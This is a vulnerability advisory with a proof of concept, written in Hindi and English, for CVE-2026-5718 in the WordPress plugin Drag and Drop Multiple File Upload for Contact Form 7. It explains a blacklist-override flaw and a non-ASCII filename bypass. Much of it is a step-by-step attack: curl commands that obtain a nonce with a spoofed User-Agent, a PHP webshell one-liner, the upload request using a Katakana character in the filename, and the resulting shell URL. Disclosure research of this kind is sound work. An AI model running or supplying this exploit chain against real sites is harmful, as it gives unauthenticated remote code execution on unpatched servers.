
CVE-2026-5718: DnD Upload CF7 प्लगइन में अनधिकृत फ़ाइल अपलोड से RCE
CVE-2026-5718: Unauthenticated File Upload To RCE in DnD Upload CF7 Plugin
Plugin: Drag and Drop Multiple File Upload for Contact Form 7 Plugin Slug:
drag-and-drop-multiple-file-upload-contact-form-7CVE ID: CVE-2026-5718 CVSS Score: 8.1 (High) CVSS Vector:CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:Hभेद्यता प्रकार: Unauthenticated Arbitrary File Upload → Remote Code Execution प्रभावित संस्करण: <= 1.3.9.6 पैच किया गया संस्करण: 1.3.9.7 जारी तिथि: 17 अप्रैल 2026 शोधकर्ता: Leonid Semenenko (lsemenenko) — Wordfence
Drag and Drop Multiple File Upload for Contact Form 7 प्लगइन में दो स्वतंत्र तर्कदोष मिलकर एक अनधिकृत हमलावर को PHP वेबशेल अपलोड करने की अनुमति देते हैं।
ब्लैकलिस्ट विध्वंस: अनुकूलित ब्लैकलिस्ट कॉन्फ़िगरेशन डिफ़ॉल्ट
खतरनाक एक्सटेंशन सूची को जोड़ने के बजाय पूरी तरह बदल देता है।
php अब अवरुद्ध नहीं होता।
गैर-ASCII बायपास: फ़ाइल नाम में गैर-ASCII वर्णों की उपस्थिति
wpcf7_antiscript_file_name() फ़ंक्शन के कॉल को रोकती है।
.php एक्सटेंशन बरकरार रहता है और फ़ाइल डिस्क पर लिखी जाती है।
| क्षेत्र | मान |
|---|---|
| प्लगइन नाम | Drag and Drop Multiple File Upload for CF7 |
| CVE ID | CVE-2026-5718 |
| CVSS स्कोर | 8.1 (उच्च) |
| भेद्यता प्रकार | Unauthenticated Arbitrary File Upload |
| प्रभावित संस्करण | <= 1.3.9.6 |
| पैच किया गया संस्करण | 1.3.9.7 |
| पूर्व शर्त | CF7 फॉर्म में blacklist-types अनुकूलित कॉन्फ़िगरेशन आवश्यक |
// inc/dnd-upload-cf7.php — lines 62–71
function dnd_wpcf7_nonce_check() {
// एकमात्र सुरक्षा: User-Agent में 'curl' जाँच — आसानी से बायपास किया जा सकता है
if ( strpos( $_SERVER['HTTP_USER_AGENT'], 'curl' ) !== false ) {
wp_send_json_error('Request blocked: cURL access is forbidden.');
}
if( ! check_ajax_referer( 'dnd-cf7-security-nonce', false, false ) ){
// अमान्य nonce → नया nonce लौटाता है
wp_send_json_success( wp_create_nonce( "dnd-cf7-security-nonce" ) );
}
}
wp_ajax_nopriv__wpcf7_check_nonce एक्शन सार्वजनिक है।
जब अमान्य nonce भेजा जाता है, तो नया nonce मुफ्त दिया जाता है।
Mozilla UA के साथ curl जाँच को बायपास किया जाता है।
// inc/dnd-upload-cf7.php — lines 883–886
$blacklist_types = dnd_cf7_not_allowed_ext();
// ↑ ~80 खतरनाक एक्सटेंशन: php, php3, php4, pht, phtml, phar...
if ( isset( $blacklist["$cf7_upload_name"] ) && ! empty( $blacklist["$cf7_upload_name"] ) ) {
$blacklist_types = explode( '|', $blacklist["$cf7_upload_name"] );
// ↑ ASSIGNMENT (=) — MERGE नहीं
// अनुकूलित सूची: केवल ['zip']
// 'php' अब सूची में नहीं है → स्वीकार किया जाता है
}
ट्रिगर करने वाली फॉर्म टैग कॉन्फ़िगरेशन:
[mfile upload-file filetypes="*" blacklist-types:zip]
एडमिन ZIP को ब्लॉक करना चाहता है → प्लगइन सभी डिफ़ॉल्ट डेनीलिस्ट को हटा देता है।
php सहित सभी खतरनाक एक्सटेंशन अब स्वीकार किए जाते हैं।
इसके अलावा, filetypes="*" के लिए हार्डकोडेड सूची भी अधूरी है:
// line 927 — 'php', 'php3', 'php4', 'pht', 'phtml' गायब हैं
$not_allowed_ext = array( 'phar', 'svg', 'php5', 'php7', 'php8' );
// inc/dnd-upload-cf7.php — lines 969–972
$ascii_name = dnd_cf7_remove_icons( $filename );
if ( dnd_cf7_check_ascii( $ascii_name ) ) {
// केवल शुद्ध-ASCII फ़ाइल नामों के लिए कॉल किया जाता है
$filename = wpcf7_antiscript_file_name( $ascii_name );
// ↑ shell.php → shell.php.txt बनाता — लेकिन बायपास हो जाता है
}
// यदि गैर-ASCII वर्ण है, तो यह ब्लॉक बायपास हो जाता है
// $filename = "shellシ.php" → .php एक्सटेंशन बरकरार रहता है
// dnd_cf7_check_ascii() — lines 1029–1041
function dnd_cf7_check_ascii( $string ) {
$string = sanitize_file_name( $string );
// ↑ केवल स्थानीय प्रतिलिपि बदलती है, बाहरी $filename प्रभावित नहीं होता
if ( mb_check_encoding( $string, 'ASCII' ) ) {
return true;
}
return false; // गैर-ASCII वर्ण → false → antiscript बायपास
}
┌─────────────────────────────────────────────────────────────┐
│ POST /wp-admin/admin-ajax.php?action=_wpcf7_check_nonce │
│ User-Agent: Mozilla/5.0 (curl नहीं) │
│ │ │
│ ▼ │
│ {"success":true,"data":"abc123def456"} │
│ → Nonce मुफ्त प्राप्त हुआ │
└──────────────────────────┬──────────────────────────────────┘
│
┌──────────────────────────▼──────────────────────────────────┐
│ POST /wp-admin/admin-ajax.php?action=dnd_codedropz_upload │
│ security=abc123def456 │
│ upload-file=shellシ.php (Content-Type: application/x-php) │
│ │ │
│ ├── Nonce मान्य ✓ │
│ ├── blacklist=['zip'] → 'php' अवरुद्ध नहीं ✓ │
│ ├── dnd_cf7_check_ascii("shellシ.php") = false │
│ ├── wpcf7_antiscript_file_name() बायपास किया गया ✓ │
│ └── move_uploaded_file("shellシ.php") → डिस्क पर लिखा गया│
└──────────────────────────┬──────────────────────────────────┘
│
┌──────────────────────────▼──────────────────────────────────┐
│ GET /wp-content/uploads/wp_dndcf7_uploads/ │
│ wpcf7-files/<uuid>/shell%E3%82%B7.php?cmd=id │
│ │ │
│ ▼ │
│ uid=33(www-data) gid=33(www-data) groups=33(www-data) │
│ → अनधिकृत RCE ✓ │
└─────────────────────────────────────────────────────────────┘
⚠️ अस्वीकरण: यह PoC केवल शैक्षिक और रक्षात्मक सुरक्षा अनुसंधान उद्देश्यों के लिए प्रदान किया गया है। केवल उन सिस्टम पर उपयोग करें जिनके आप स्वामी हैं या जिनके लिए आपके पास स्पष्ट लिखित प्राधिकरण है।
पूर्व शर्तें:
[mfile] फ़ील्ड blacklist-types के साथ:
[mfile upload-file filetypes="*" blacklist-types:zip]
TARGET="https://target.example.com"
NONCE=$(curl -s -X POST \
"$TARGET/wp-admin/admin-ajax.php" \
-H "User-Agent: Mozilla/5.0 (X11; Linux x86_64)" \
--data "action=_wpcf7_check_nonce" \
| python3 -c "import sys,json; print(json.load(sys.stdin)['data'])")
echo "Nonce: $NONCE"
अपेक्षित प्रतिक्रिया:
{"success": true, "data": "abc123def456"}
# 'シ' (U+30B7 Katakana) → dnd_cf7_check_ascii() = false
SHELL_FILENAME="shellシ.php"
echo '<?php system($_GET["cmd"]); ?>' > "/tmp/${SHELL_FILENAME}"
FORM_ID=1
FIELD_NAME="upload-file"
SESSION_FOLDER=$(uuidgen | tr '[:upper:]' '[:lower:]' | tr -d '-')
curl -s -X POST "$TARGET/wp-admin/admin-ajax.php" \
-H "User-Agent: Mozilla/5.0 (X11; Linux x86_64)" \
-F "action=dnd_codedropz_upload" \
-F "security=${NONCE}" \
-F "form_id=${FORM_ID}" \
-F "upload_name=${FIELD_NAME}" \
-F "upload_folder=${SESSION_FOLDER}" \
-F "upload-file=@/tmp/${SHELL_FILENAME};type=application/x-php"
अपेक्षित प्रतिक्रिया:
{
"success": true,
"data": {
"path": "<session-folder-uuid>",
"file": "shellシ.php"
}
}
UPLOAD_PATH="<path-from-response>"
SHELL_URL="$TARGET/wp-content/uploads/wp_dndcf7_uploads/wpcf7-files/${UPLOAD_PATH}/shell%E3%82%B7.php"
echo "Shell URL: $SHELL_URL"